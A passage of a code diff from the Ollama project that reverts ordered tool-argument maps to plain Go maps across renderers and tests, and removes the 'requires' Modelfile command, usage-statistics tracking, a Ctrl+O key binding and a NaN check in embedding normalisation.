-							Properties: testPropsMap(map[string]api.ToolProperty{"data": {Type: api.PropertyType{"object"}}}),
+							Properties: map[string]api.ToolProperty{"data": {Type: api.PropertyType{"object"}}},
 						},
 					},
 				},
@@ -512,7 +512,7 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 				{
 					Role: "assistant",
 					ToolCalls: []api.ToolCall{
-						{Function: api.ToolCallFunction{Name: "translate", Arguments: testArgs(map[string]any{"text": "你好"})}},
+						{Function: api.ToolCallFunction{Name: "translate", Arguments: map[string]any{"text": "你好"}}},
 					},
 				},
 				{Role: "tool", Content: "Hello"},
@@ -524,9 +524,9 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						Name: "translate",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"text": {Type: api.PropertyType{"string"}},
-							}),
+							},
 						},
 					},
 				},

model/renderers/olmo3.go

@@ -100,8 +100,8 @@ func (r *Olmo3Renderer) Render(messages []api.Message, tools []api.Tool, _ *api.
 					sb.WriteString("(")
 
 					// Get sorted keys for deterministic output
-					keys := make([]string, 0, tc.Function.Arguments.Len())
-					for k := range tc.Function.Arguments.All() {
+					keys := make([]string, 0, len(tc.Function.Arguments))
+					for k := range tc.Function.Arguments {
 						keys = append(keys, k)
 					}
 					sort.Strings(keys)
@@ -110,8 +110,7 @@ func (r *Olmo3Renderer) Render(messages []api.Message, tools []api.Tool, _ *api.
 						if k > 0 {
 							sb.WriteString(", ")
 						}
-						val, _ := tc.Function.Arguments.Get(key)
-						value, err := json.Marshal(val)
+						value, err := json.Marshal(tc.Function.Arguments[key])
 						if err != nil {
 							return "", err
 						}

model/renderers/olmo3_test.go

@@ -53,9 +53,9 @@ func TestOlmo3Renderer(t *testing.T) {
 						Parameters: api.ToolFunctionParameters{
 							Type:     "object",
 							Required: []string{"location"},
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {Type: api.PropertyType{"string"}, Description: "The city"},
-							}),
+							},
 						},
 					},
 				},
@@ -80,9 +80,9 @@ func TestOlmo3Renderer(t *testing.T) {
 						Parameters: api.ToolFunctionParameters{
 							Type:     "object",
 							Required: []string{"location"},
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {Type: api.PropertyType{"string"}, Description: "The city"},
-							}),
+							},
 						},
 					},
 				},
@@ -108,9 +108,9 @@ func TestOlmo3Renderer(t *testing.T) {
 							ID: "call_1",
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: map[string]any{
 									"location": "San Francisco",
-								}),
+								},
 							},
 						},
 					},
@@ -126,9 +126,9 @@ func TestOlmo3Renderer(t *testing.T) {
 						Parameters: api.ToolFunctionParameters{
 							Type:     "object",
 							Required: []string{"location"},
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {Type: api.PropertyType{"string"}, Description: "The city"},
-							}),
+							},
 						},
 					},
 				},
@@ -172,14 +172,14 @@ func TestOlmo3Renderer(t *testing.T) {
 							ID: "call_1",
 							Function: api.ToolCallFunction{
 								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"location": "San Francisco"}),
+								Arguments: map[string]any{"location": "San Francisco"},
 							},
 						},
 						{
 							ID: "call_2",
 							Function: api.ToolCallFunction{
 								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"location": "New York"}),
+								Arguments: map[string]any{"location": "New York"},
 							},
 						},
 					},
@@ -194,9 +194,9 @@ func TestOlmo3Renderer(t *testing.T) {
 						Name: "get_weather",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {Type: api.PropertyType{"string"}},
-							}),
+							},
 						},
 					},
 				},
@@ -227,10 +227,10 @@ func TestOlmo3Renderer(t *testing.T) {
 							ID: "call_1",
 							Function: api.ToolCallFunction{
 								Name: "book_flight",
-								Arguments: testArgsOrdered([]orderedArg{
-									{"from", "SFO"},
-									{"to", "NYC"},
-								}),
+								Arguments: map[string]any{
+									"from": "SFO",
+									"to":   "NYC",
+								},
 							},
 						},
 					},
@@ -243,10 +243,10 @@ func TestOlmo3Renderer(t *testing.T) {
 						Name: "book_flight",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsOrdered([]orderedProp{
-								{"from", api.ToolProperty{Type: api.PropertyType{"string"}}},
-								{"to", api.ToolProperty{Type: api.PropertyType{"string"}}},
-							}),
+							Properties: map[string]api.ToolProperty{
+								"from": {Type: api.PropertyType{"string"}},
+								"to":   {Type: api.PropertyType{"string"}},
+							},
 						},
 					},
 				},

model/renderers/olmo3_think_test.go

@@ -78,7 +78,7 @@ func TestOlmo3ThinkRenderer(t *testing.T) {
 							ID: "call_1",
 							Function: api.ToolCallFunction{
 								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"location": "San Francisco"}),
+								Arguments: map[string]any{"location": "San Francisco"},
 							},
 						},
 					},

model/renderers/qwen3coder.go

@@ -96,7 +96,7 @@ func (r *Qwen3CoderRenderer) Render(messages []api.Message, tools []api.Tool, _
 				}
 				sb.WriteString("\n<parameters>")
 
-				for name, prop := range tool.Function.Parameters.Properties.All() {
+				for name, prop := range tool.Function.Parameters.Properties {
 					sb.WriteString("\n<parameter>")
 					sb.WriteString("\n<name>" + name + "</name>")
 
@@ -147,7 +147,7 @@ func (r *Qwen3CoderRenderer) Render(messages []api.Message, tools []api.Tool, _
 				}
 				for _, toolCall := range message.ToolCalls {
 					sb.WriteString("\n<tool_call>\n<function=" + toolCall.Function.Name + ">")
-					for name, value := range toolCall.Function.Arguments.All() {
+					for name, value := range toolCall.Function.Arguments {
 						valueStr := formatToolCallArgument(value)
 						sb.WriteString("\n<parameter=" + name + ">\n" + valueStr + "\n</parameter>")
 					}

model/renderers/qwen3coder_test.go

@@ -39,9 +39,9 @@ Hello, how are you?<|im_end|>
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: map[string]any{
 									"unit": "fahrenheit",
-								}),
+								},
 							},
 						},
 					},
@@ -55,7 +55,7 @@ Hello, how are you?<|im_end|>
 					Description: "Get the current weather in a given location",
 					Parameters: api.ToolFunctionParameters{
 						Required: []string{"unit"},
-						Properties: testPropsMap(map[string]api.ToolProperty{
+						Properties: map[string]api.ToolProperty{
 							"unit": {Type: api.PropertyType{"string"}, Enum: []any{"celsius", "fahrenheit"}, Description: "The unit of temperature"},
 							// TODO(drifkin): add multiple params back once we have predictable
 							// order via some sort of ordered map type (see
@@ -63,7 +63,7 @@ Hello, how are you?<|im_end|>
 							/*
 								"location": {Type: api.PropertyType{"string"}, Description: "The city and state, e.g. San Francisco, CA"},
 							*/
-						}),
+						},
 					},
 				}},
 			},
@@ -140,19 +140,19 @@ That sounds nice! What about New York?<|im_end|>
 				{Role: "system", Content: "You are a helpful assistant with access to tools."},
 				{Role: "user", Content: "call double(1) and triple(2)"},
 				{Role: "assistant", Content: "I'll call double(1) and triple(2) for you.", ToolCalls: []api.ToolCall{
-					{Function: api.ToolCallFunction{Name: "double", Arguments: testArgs(map[string]any{"number": "1"})}},
-					{Function: api.ToolCallFunction{Name: "triple", Arguments: testArgs(map[string]any{"number": "2"})}},
+					{Function: api.ToolCallFunction{Name: "double", Arguments: map[string]any{"number": "1"}}},
+					{Function: api.ToolCallFunction{Name: "triple", Arguments: map[string]any{"number": "2"}}},
 				}},
 				{Role: "tool", Content: "{\"number\": 2}", ToolName: "double"},
 				{Role: "tool", Content: "{\"number\": 6}", ToolName: "triple"},
 			},
 			tools: []api.Tool{
-				{Function: api.ToolFunction{Name: "double", Description: "Double a number", Parameters: api.ToolFunctionParameters{Properties: testPropsMap(map[string]api.ToolProperty{
+				{Function: api.ToolFunction{Name: "double", Description: "Double a number", Parameters: api.ToolFunctionParameters{Properties: map[string]api.ToolProperty{
 					"number": {Type: api.PropertyType{"string"}, Description: "The number to double"},
-				})}}},
-				{Function: api.ToolFunction{Name: "triple", Description: "Triple a number", Parameters: api.ToolFunctionParameters{Properties: testPropsMap(map[string]api.ToolProperty{
+				}}}},
+				{Function: api.ToolFunction{Name: "triple", Description: "Triple a number", Parameters: api.ToolFunctionParameters{Properties: map[string]api.ToolProperty{
 					"number": {Type: api.PropertyType{"string"}, Description: "The number to triple"},
-				})}}},
+				}}}},
 			},
 			expected: `<|im_start|>system
 You are a helpful assistant with access to tools.
@@ -259,9 +259,9 @@ I'll tell you something interesting about cats`,
 				{Role: "assistant", ToolCalls: []api.ToolCall{
 					{Function: api.ToolCallFunction{
 						Name: "echo",
-						Arguments: testArgs(map[string]any{
+						Arguments: map[string]any{
 							"payload": map[string]any{"foo": "bar"},
-						}),
+						},
 					}},
 				}},
 				{Role: "tool", Content: "{\"payload\": {\"foo\": \"bar\"}}", ToolName: "echo"},

model/renderers/qwen3vl_nonthinking_test.go

@@ -337,7 +337,7 @@ Let me analyze this image.`,
 					Role:    "assistant",
 					Content: "I'll check.",
 					ToolCalls: []api.ToolCall{
-						{Function: api.ToolCallFunction{Name: "get-current-weather", Arguments: testArgsOrdered([]orderedArg{{"location", "Paris"}, {"unit", "celsius"}})}},
+						{Function: api.ToolCallFunction{Name: "get-current-weather", Arguments: map[string]any{"location": "Paris", "unit": "celsius"}}},
 					},
 				},
 				{Role: "user", Content: "<tool_response>\n18\n</tool_response>"},
@@ -367,8 +367,8 @@ Thanks!<|im_end|>
 					Role:    "assistant",
 					Content: "before",
 					ToolCalls: []api.ToolCall{
-						{Function: api.ToolCallFunction{Name: "add", Arguments: testArgsOrdered([]orderedArg{{"a", 2}, {"b", 3}})}},
-						{Function: api.ToolCallFunction{Name: "mul", Arguments: testArgsOrdered([]orderedArg{{"x", 4}, {"y", 5}})}},
+						{Function: api.ToolCallFunction{Name: "add", Arguments: map[string]any{"a": 2, "b": 3}}},
+						{Function: api.ToolCallFunction{Name: "mul", Arguments: map[string]any{"x": 4, "y": 5}}},
 					},
 				},
 			},
@@ -387,7 +387,7 @@ before
 			name: "consecutive tool responses grouped",
 			msgs: []api.Message{
 				{Role: "user", Content: "Compute results"},
-				{Role: "assistant", Content: "ok", ToolCalls: []api.ToolCall{{Function: api.ToolCallFunction{Name: "job", Arguments: testArgs(map[string]any{"n": 1})}}}},
+				{Role: "assistant", Content: "ok", ToolCalls: []api.ToolCall{{Function: api.ToolCallFunction{Name: "job", Arguments: map[string]any{"n": 1}}}}},
 				{Role: "tool", Content: "5", ToolName: "job"},
 				{Role: "tool", Content: "6", ToolName: "job"},
 			},
@@ -412,7 +412,7 @@ ok
 			name: "last message is tool then prefill",
 			msgs: []api.Message{
 				{Role: "user", Content: "run"},
-				{Role: "assistant", Content: "ok", ToolCalls: []api.ToolCall{{Function: api.ToolCallFunction{Name: "exec", Arguments: testArgs(map[string]any{"cmd": "ls"})}}}},
+				{Role: "assistant", Content: "ok", ToolCalls: []api.ToolCall{{Function: api.ToolCallFunction{Name: "exec", Arguments: map[string]any{"cmd": "ls"}}}}},
 				{Role: "tool", Content: "done", ToolName: "exec"},
 			},
 			expected: `<|im_start|>user
@@ -447,7 +447,7 @@ done
 					Role:    "assistant",
 					Content: "I'll check.",
 					ToolCalls: []api.ToolCall{
-						{Function: api.ToolCallFunction{Name: "get-current-weather", Arguments: testArgsOrdered([]orderedArg{{"location", "Paris"}, {"unit", "celsius"}})}},
+						{Function: api.ToolCallFunction{Name: "get-current-weather", Arguments: map[string]any{"location": "Paris", "unit": "celsius"}}},
 					},
 				},
 				{Role: "user", Content: "<tool_response>\n18\n</tool_response>"},
@@ -477,7 +477,7 @@ Thanks!<|im_end|>
 					Role:    "assistant",
 					Content: "I'll check.",
 					ToolCalls: []api.ToolCall{
-						{Function: api.ToolCallFunction{Name: "get-current-weather", Arguments: testArgsOrdered([]orderedArg{{"location", "Paris"}, {"unit", "celsius"}})}},
+						{Function: api.ToolCallFunction{Name: "get-current-weather", Arguments: map[string]any{"location": "Paris", "unit": "celsius"}}},
 					},
 				},
 				{Role: "user", Content: "\n\n\n\n<tool_response>\n18\n</tool_response> extra\n\n\n\n\n\n"},

model/renderers/qwen3vl_thinking_test.go

@@ -128,10 +128,10 @@ Speak poetry after the first sentence.</think><think>Speak poetry after the seco
 		// 						{
 		// 							Function: api.ToolCallFunction{
 		// 								Name: "get-current-weather",
-		// 								Arguments: testArgs(map[string]any{
+		// 								Arguments: map[string]any{
 		// 									"location": "New York",
 		// 									"unit":     "fahrenheit",
-		// 								}),
+		// 								},
 		// 							},
 		// 						},
 		// 					},
@@ -148,7 +148,7 @@ Speak poetry after the first sentence.</think><think>Speak poetry after the seco
 		// 						Parameters: api.ToolFunctionParameters{
 		// 							Type:     "object",
 		// 							Required: []string{"location"},
-		// 							Properties: testPropsMap(map[string]api.ToolProperty{
+		// 							Properties: map[string]api.ToolProperty{
 		// 								"location": {
 		// 									Type:        api.PropertyType{"string"},
 		// 									Description: "The city and state, e.g. San Francisco, CA",
@@ -158,7 +158,7 @@ Speak poetry after the first sentence.</think><think>Speak poetry after the seco
 		// 									Enum:        []any{"celsius", "fahrenheit"},
 		// 									Description: "The temperature unit",
 		// 								},
-		// 							}),
+		// 							},
 		// 						},
 		// 					},
 		// 				},
@@ -216,19 +216,19 @@ Speak poetry after the first sentence.</think><think>Speak poetry after the seco
 		// 						{
 		// 							Function: api.ToolCallFunction{
 		// 								Name: "add",
-		// 								Arguments: testArgs(map[string]any{
+		// 								Arguments: map[string]any{
 		// 									"a": 2,
 		// 									"b": 3,
-		// 								}),
+		// 								},
 		// 							},
 		// 						},
 		// 						{
 		// 							Function: api.ToolCallFunction{
 		// 								Name: "multiply",
-		// 								Arguments: testArgs(map[string]any{
+		// 								Arguments: map[string]any{
 		// 									"x": 4,
 		// 									"y": 5,
-		// 								}),
+		// 								},
 		// 							},
 		// 						},
 		// 					},
@@ -257,10 +257,10 @@ Speak poetry after the first sentence.</think><think>Speak poetry after the seco
 		// 						Parameters: api.ToolFunctionParameters{
 		// 							Type:     "object",
 		// 							Required: []string{"a", "b"},
-		// 							Properties: testPropsMap(map[string]api.ToolProperty{
+		// 							Properties: map[string]api.ToolProperty{
 		// 								"a": {Type: api.PropertyType{"integer"}, Description: "First number"},
 		// 								"b": {Type: api.PropertyType{"integer"}, Description: "Second number"},
-		// 							}),
+		// 							},
 		// 						},
 		// 					},
 		// 				},
@@ -272,10 +272,10 @@ Speak poetry after the first sentence.</think><think>Speak poetry after the seco
 		// 						Parameters: api.ToolFunctionParameters{
 		// 							Type:     "object",
 		// 							Required: []string{"x", "y"},
-		// 							Properties: testPropsMap(map[string]api.ToolProperty{
+		// 							Properties: map[string]api.ToolProperty{
 		// 								"x": {Type: api.PropertyType{"integer"}, Description: "First factor"},
 		// 								"y": {Type: api.PropertyType{"integer"}, Description: "Second factor"},
-		// 							}),
+		// 							},
 		// 						},
 		// 					},
 		// 				},

model/renderers/renderer.go

@@ -78,8 +78,6 @@ func rendererForName(name string) Renderer {
 		return renderer
 	case "nemotron-3-nano":
 		return &Nemotron3NanoRenderer{}
-	case "functiongemma":
-		return &FunctionGemmaRenderer{}
 	default:
 		return nil
 	}

model/renderers/testhelpers_test.go

@@ -1,51 +0,0 @@
-package renderers
-
-import "github.com/ollama/ollama/api"
-
-// testPropsMap creates a ToolPropertiesMap from a map (convenience function for tests, order not preserved)
-func testPropsMap(m map[string]api.ToolProperty) *api.ToolPropertiesMap {
-	props := api.NewToolPropertiesMap()
-	for k, v := range m {
-		props.Set(k, v)
-	}
-	return props
-}
-
-// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
-func testArgs(m map[string]any) api.ToolCallFunctionArguments {
-	args := api.NewToolCallFunctionArguments()
-	for k, v := range m {
-		args.Set(k, v)
-	}
-	return args
-}
-
-// orderedArg represents a key-value pair for ordered argument creation
-type orderedArg struct {
-	Key   string
-	Value any
-}
-
-// testArgsOrdered creates ToolCallFunctionArguments with a specific key order
-func testArgsOrdered(pairs []orderedArg) api.ToolCallFunctionArguments {
-	args := api.NewToolCallFunctionArguments()
-	for _, p := range pairs {
-		args.Set(p.Key, p.Value)
-	}
-	return args
-}
-
-// orderedProp represents a key-value pair for ordered property creation
-type orderedProp struct {
-	Key   string
-	Value api.ToolProperty
-}
-
-// testPropsOrdered creates a ToolPropertiesMap with a specific key order
-func testPropsOrdered(pairs []orderedProp) *api.ToolPropertiesMap {
-	props := api.NewToolPropertiesMap()
-	for _, p := range pairs {
-		props.Set(p.Key, p.Value)
-	}
-	return props
-}

openai/openai_test.go

@@ -10,20 +10,6 @@ import (
 	"github.com/ollama/ollama/api"
 )
 
-// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests)
-func testArgs(m map[string]any) api.ToolCallFunctionArguments {
-	args := api.NewToolCallFunctionArguments()
-	for k, v := range m {
-		args.Set(k, v)
-	}
-	return args
-}
-
-// argsComparer provides cmp options for comparing ToolCallFunctionArguments by value
-var argsComparer = cmp.Comparer(func(a, b api.ToolCallFunctionArguments) bool {
-	return cmp.Equal(a.ToMap(), b.ToMap())
-})
-
 const (
 	prefix = `data:image/jpeg;base64,`
 	image  = `iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=`
@@ -173,9 +159,9 @@ func TestToToolCallsPreservesIDs(t *testing.T) {
 			Function: api.ToolCallFunction{
 				Index: 2,
 				Name:  "get_weather",
-				Arguments: testArgs(map[string]any{
+				Arguments: api.ToolCallFunctionArguments{
 					"location": "Seattle",
-				}),
+				},
 			},
 		},
 		{
@@ -183,9 +169,9 @@ func TestToToolCallsPreservesIDs(t *testing.T) {
 			Function: api.ToolCallFunction{
 				Index: 7,
 				Name:  "get_time",
-				Arguments: testArgs(map[string]any{
+				Arguments: api.ToolCallFunctionArguments{
 					"timezone": "UTC",
-				}),
+				},
 			},
 		},
 	}
@@ -229,7 +215,7 @@ func TestToToolCallsPreservesIDs(t *testing.T) {
 		t.Errorf("tool calls mismatch (-want +got):\n%s", diff)
 	}
 
-	if diff := cmp.Diff(original, toolCalls, argsComparer); diff != "" {
+	if diff := cmp.Diff(original, toolCalls); diff != "" {
 		t.Errorf("input tool calls mutated (-want +got):\n%s", diff)
 	}
 }

openai/responses_test.go

@@ -925,7 +925,7 @@ func TestResponsesStreamConverter_ToolCalls(t *testing.T) {
 					ID: "call_abc",
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "Paris"}),
+						Arguments: api.ToolCallFunctionArguments{"city": "Paris"},
 					},
 				},
 			},
@@ -1800,7 +1800,7 @@ func TestResponsesStreamConverter_FunctionCallStatus(t *testing.T) {
 					ID: "call_abc",
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "Paris"}),
+						Arguments: api.ToolCallFunctionArguments{"city": "Paris"},
 					},
 				},
 			},

parser/parser.go

@@ -17,7 +17,6 @@ import (
 	"strings"
 	"sync"
 
-	"golang.org/x/mod/semver"
 	"golang.org/x/sync/errgroup"
 	"golang.org/x/text/encoding/unicode"
 	"golang.org/x/text/transform"
@@ -105,16 +104,6 @@ func (f Modelfile) CreateRequest(relativeDir string) (*api.CreateRequest, error)
 			req.Renderer = c.Args
 		case "parser":
 			req.Parser = c.Args
-		case "requires":
-			// golang.org/x/mod/semver requires "v" prefix
-			requires := c.Args
-			if !strings.HasPrefix(requires, "v") {
-				requires = "v" + requires
-			}
-			if !semver.IsValid(requires) {
-				return nil, fmt.Errorf("requires must be a valid semver (e.g. 0.14.0)")
-			}
-			req.Requires = strings.TrimPrefix(requires, "v")
 		case "message":
 			role, msg, _ := strings.Cut(c.Args, ": ")
 			messages = append(messages, api.Message{Role: role, Content: msg})
@@ -333,7 +322,7 @@ func (c Command) String() string {
 	switch c.Name {
 	case "model":
 		fmt.Fprintf(&sb, "FROM %s", c.Args)
-	case "license", "template", "system", "adapter", "renderer", "parser", "requires":
+	case "license", "template", "system", "adapter", "renderer", "parser":
 		fmt.Fprintf(&sb, "%s %s", strings.ToUpper(c.Name), quote(c.Args))
 	case "message":
 		role, message, _ := strings.Cut(c.Args, ": ")
@@ -359,7 +348,7 @@ const (
 var (
 	errMissingFrom        = errors.New("no FROM line")
 	errInvalidMessageRole = errors.New("message role must be one of \"system\", \"user\", or \"assistant\"")
-	errInvalidCommand     = errors.New("command must be one of \"from\", \"license\", \"template\", \"system\", \"adapter\", \"renderer\", \"parser\", \"parameter\", \"message\", or \"requires\"")
+	errInvalidCommand     = errors.New("command must be one of \"from\", \"license\", \"template\", \"system\", \"adapter\", \"renderer\", \"parser\", \"parameter\", or \"message\"")
 )
 
 type ParserError struct {
@@ -619,7 +608,7 @@ func isValidMessageRole(role string) bool {
 
 func isValidCommand(cmd string) bool {
 	switch strings.ToLower(cmd) {
-	case "from", "license", "template", "system", "adapter", "renderer", "parser", "parameter", "message", "requires":
+	case "from", "license", "template", "system", "adapter", "renderer", "parser", "parameter", "message":
 		return true
 	default:
 		return false

readline/errors.go

@@ -6,9 +6,6 @@ import (
 
 var ErrInterrupt = errors.New("Interrupt")
 
-// ErrExpandOutput is returned when user presses Ctrl+O to expand tool output
-var ErrExpandOutput = errors.New("ExpandOutput")
-
 type InterruptError struct {
 	Line []rune
 }

readline/readline.go

@@ -30,7 +30,7 @@ func (p *Prompt) placeholder() string {
 }
 
 type Terminal struct {
-	reader  *bufio.Reader
+	outchan chan rune
 	rawmode bool
 	termios any
 }
@@ -206,9 +206,6 @@ func (i *Instance) Readline() (string, error) {
 			buf.DeleteBefore()
 		case CharCtrlL:
 			buf.ClearScreen()
-		case CharCtrlO:
-			// Ctrl+O - expand tool output
-			return "", ErrExpandOutput
 		case CharCtrlW:
 			buf.DeleteWord()
 		case CharCtrlZ:
@@ -267,21 +264,36 @@ func NewTerminal() (*Terminal, error) {
 	if err != nil {
 		return nil, err
 	}
-	if err := UnsetRawMode(fd, termios); err != nil {
-		return nil, err
-	}
 
 	t := &Terminal{
-		reader: bufio.NewReader(os.Stdin),
+		outchan: make(chan rune),
+		rawmode: true,
+		termios: termios,
 	}
 
+	go t.ioloop()
+
 	return t, nil
 }
 
-func (t *Terminal) Read() (rune, error) {
-	r, _, err := t.reader.ReadRune()
-	if err != nil {
-		return 0, err
+func (t *Terminal) ioloop() {
+	buf := bufio.NewReader(os.Stdin)
+
+	for {
+		r, _, err := buf.ReadRune()
+		if err != nil {
+			close(t.outchan)
+			break
+		}
+		t.outchan <- r
 	}
+}
+
+func (t *Terminal) Read() (rune, error) {
+	r, ok := <-t.outchan
+	if !ok {
+		return 0, io.EOF
+	}
+
 	return r, nil
 }

readline/types.go

@@ -18,7 +18,6 @@ const (
 	CharCtrlL     = 12
 	CharEnter     = 13
 	CharNext      = 14
-	CharCtrlO     = 15 // Ctrl+O - used for expanding tool output
 	CharPrev      = 16
 	CharBckSearch = 18
 	CharFwdSearch = 19

server/create.go

@@ -61,7 +61,6 @@ func (s *Server) CreateHandler(c *gin.Context) {
 
 	config.Renderer = r.Renderer
 	config.Parser = r.Parser
-	config.Requires = r.Requires
 
 	for v := range r.Files {
 		if !fs.ValidPath(v) {
@@ -121,7 +120,7 @@ func (s *Server) CreateHandler(c *gin.Context) {
 					ch <- gin.H{"error": err.Error()}
 				}
 
-				if err == nil && !remote && (config.Renderer == "" || config.Parser == "" || config.Requires == "") {
+				if err == nil && !remote && (config.Renderer == "" || config.Parser == "") {
 					manifest, mErr := ParseNamedManifest(fromName)
 					if mErr == nil && manifest.Config.Digest != "" {
 						configPath, pErr := GetBlobsPath(manifest.Config.Digest)
@@ -135,9 +134,6 @@ func (s *Server) CreateHandler(c *gin.Context) {
 									if config.Parser == "" {
 										config.Parser = baseConfig.Parser
 									}
-									if config.Requires == "" {
-										config.Requires = baseConfig.Requires
-									}
 								}
 								cfgFile.Close()
 							}

server/routes.go

@@ -20,7 +20,6 @@ import (
 	"net/url"
 	"os"
 	"os/signal"
-	"runtime"
 	"slices"
 	"strings"
 	"sync/atomic"
@@ -45,7 +44,6 @@ import (
 	"github.com/ollama/ollama/model/renderers"
 	"github.com/ollama/ollama/server/internal/client/ollama"
 	"github.com/ollama/ollama/server/internal/registry"
-	"github.com/ollama/ollama/server/usage"
 	"github.com/ollama/ollama/template"
 	"github.com/ollama/ollama/thinking"
 	"github.com/ollama/ollama/tools"
@@ -84,7 +82,6 @@ type Server struct {
 	addr    net.Addr
 	sched   *Scheduler
 	lowVRAM bool
-	stats *usage.Stats
 }
 
 func init() {
@@ -107,30 +104,6 @@ var (
 	errBadTemplate = errors.New("template error")
 )
 
-// usage records a request to usage stats if enabled.
-func (s *Server) usage(c *gin.Context, endpoint, model, architecture string, promptTokens, completionTokens int, usedTools bool) {
-	if s.stats == nil {
-		return
-	}
-	s.stats.Record(&usage.Request{
-		Endpoint:         endpoint,
-		Model:            model,
-		Architecture:     architecture,
-		APIType:          usage.ClassifyAPIType(c.Request.URL.Path),
-		PromptTokens:     promptTokens,
-		CompletionTokens: completionTokens,
-		UsedTools:        usedTools,
-	})
-}
-
-// usageError records a failed request to usage stats if enabled.
-func (s *Server) usageError() {
-	if s.stats == nil {
-		return
-	}
-	s.stats.RecordError()
-}
-
 func modelOptions(model *Model, requestOpts map[string]any) (api.Options, error) {
 	opts := api.DefaultOptions()
 	if err := opts.FromMap(model.Options); err != nil {
@@ -401,7 +374,7 @@ func (s *Server) GenerateHandler(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": fmt.Sprintf("%q does not support generate", req.Model)})
 		return
 	} else if err != nil {
-		s.handleScheduleError(c, req.Model, err)
+		handleScheduleError(c, req.Model, err)
 		return
 	}
 
@@ -588,7 +561,6 @@ func (s *Server) GenerateHandler(c *gin.Context) {
 				res.DoneReason = cr.DoneReason.String()
 				res.TotalDuration = time.Since(checkpointStart)
 				res.LoadDuration = checkpointLoaded.Sub(checkpointStart)
-				s.usage(c, "generate", m.ShortName, m.Config.ModelFamily, cr.PromptEvalCount, cr.EvalCount, false)
 
 				if !req.Raw {
 					tokens, err := r.Tokenize(c.Request.Context(), prompt+sb.String())
@@ -708,7 +680,7 @@ func (s *Server) EmbedHandler(c *gin.Context) {
 
 	r, m, opts, err := s.scheduleRunner(c.Request.Context(), name.String(), []model.Capability{}, req.Options, req.KeepAlive)
 	if err != nil {
-		s.handleScheduleError(c, req.Model, err)
+		handleScheduleError(c, req.Model, err)
 		return
 	}
 
@@ -780,15 +752,9 @@ func (s *Server) EmbedHandler(c *gin.Context) {
 				return err
 			}
 			// TODO: this first normalization should be done by the model
-			embedding, err = normalize(embedding)
-			if err != nil {
-				return err
-			}
+			embedding = normalize(embedding)
 			if req.Dimensions > 0 && req.Dimensions < len(embedding) {
-				embedding, err = normalize(embedding[:req.Dimensions])
-				if err != nil {
-					return err
-				}
+				embedding = normalize(embedding[:req.Dimensions])
 			}
 			embeddings[i] = embedding
 			atomic.AddUint64(&totalTokens, uint64(tokenCount))
@@ -818,16 +784,12 @@ func (s *Server) EmbedHandler(c *gin.Context) {
 		LoadDuration:    checkpointLoaded.Sub(checkpointStart),
 		PromptEvalCount: int(totalTokens),
 	}
-	s.usage(c, "embed", m.ShortName, m.Config.ModelFamily, int(totalTokens), 0, false)
 	c.JSON(http.StatusOK, resp)
 }
 
-func normalize(vec []float32) ([]float32, error) {
+func normalize(vec []float32) []float32 {
 	var sum float32
 	for _, v := range vec {
-		if math.IsNaN(float64(v)) || math.IsInf(float64(v), 0) {
-			return nil, errors.New("embedding contains NaN or Inf values")
-		}
 		sum += v * v
 	}
 
@@ -835,7 +797,7 @@ func normalize(vec []float32) ([]float32, error) {
 	for i := range vec {
 		vec[i] *= norm
 	}
-	return vec, nil
+	return vec
 }
 
 func (s *Server) EmbeddingsHandler(c *gin.Context) {
@@ -856,7 +818,7 @@ func (s *Server) EmbeddingsHandler(c *gin.Context) {
 
 	r, _, _, err := s.scheduleRunner(c.Request.Context(), name.String(), []model.Capability{}, req.Options, req.KeepAlive)
 	if err != nil {
-		s.handleScheduleError(c, req.Model, err)
+		handleScheduleError(c, req.Model, err)
 		return
 	}
 
@@ -1144,7 +1106,6 @@ func GetModelInfo(req api.ShowRequest) (*api.ShowResponse, error) {
 		Messages:     msgs,
 		Capabilities: m.Capabilities(),
 		ModifiedAt:   manifest.fi.ModTime(),
-		Requires:     m.Config.Requires,
 	}
 
 	if m.Config.RemoteHost != "" {
@@ -1560,7 +1521,6 @@ func (s *Server) GenerateRoutes(rc *ollama.Registry) (http.Handler, error) {
 
 	// Inference
 	r.GET("/api/ps", s.PsHandler)
-	r.GET("/api/usage", s.UsageHandler)
 	r.POST("/api/generate", s.GenerateHandler)
 	r.POST("/api/chat", s.ChatHandler)
 	r.POST("/api/embed", s.EmbedHandler)
@@ -1623,13 +1583,6 @@ func Serve(ln net.Listener) error {
 
 	s := &Server{addr: ln.Addr()}
 
-	// Initialize usage stats if enabled
-	if envconfig.Usage() {
-		s.stats = usage.New()
-		s.stats.Start()
-		slog.Info("usage stats enabled")
-	}
-
 	var rc *ollama.Registry
 	if useClient2 {
 		var err error
@@ -1669,9 +1622,6 @@ func Serve(ln net.Listener) error {
 	signal.Notify(signals, syscall.SIGINT, syscall.SIGTERM)
 	go func() {
 		<-signals
-		if s.stats != nil {
-			s.stats.Stop()
-		}
 		srvr.Close()
 		schedDone()
 		sched.unloadAllRunners()
